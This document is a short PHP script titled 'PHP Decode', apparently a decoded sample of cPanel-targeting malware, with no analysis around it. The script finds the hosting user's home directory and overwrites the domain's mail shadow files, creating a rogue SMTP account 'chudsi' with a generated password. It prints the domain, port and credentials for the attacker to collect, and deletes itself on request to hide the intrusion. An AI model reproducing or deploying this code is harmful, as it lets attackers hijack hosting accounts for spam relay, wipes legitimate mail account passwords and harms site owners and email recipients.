PHP Decode

<?php 
	error_reporting(0); 
	$_currUser = get_current_user(); 
	$_homePath = ["/home/", "/home1/", "/home2/", "/home3/", "/home4/", "/home5/", "/home6/", "/home7/", "/home8/", "/home9/", "/home10/"]; 
	$_this = 0; 
	foreach($_homePath as $_home) { 
		if(file_exists($_home . $_currUser)) { 
			$_this++; 
			if($_this > 0) { 
				$_workHome = $_home; 
				break; 
			} 
		} 
	} 
	$_cp = "$_workHome$_currUser/.cpanel"; 
	if (is_dir($_cp)) { 
		$_currDomain = $_SERVER['HTTP_HOST']; 
		if(strstr($_currDomain, 'www.')){ 
			$_currDomain = str_replace("www.","",$_currDomain); 
		}else{ 
			$_currDomain = $_currDomain; 
		} 
		$_thispwd = "kenzi.smtp" . mt_rand(100,999); 
		$_pwd     = crypt($_thispwd, "$6$the3x$"); 
		mkdir("$_workHome$_currUser/etc/$_currDomain"); 
		$_smtp = 'chudsi:'.$_pwd.':16249:::::'."
"; 
		$_shadow1 = "/home/$_currUser/etc/$_currDomain/shadow"; 
		$_shadow2 = "/home/$_currUser/etc/shadow"; 
		$_fo=fopen($_shadow1,"w"); 
		fwrite($_fo,$_smtp); 
		$_fo2=fopen($_shadow2,"w"); 
		fwrite($_fo2,$_smtp); 
		echo "$_currDomain|587|chudsi@$_currDomain|".$_thispwd; 
	} else { 
		echo "you think this is a fucking smtp addable website?"; 
	} 
	if(isset($_GET["d"])) { 
		unlink(__FILE__); 
	} 
?>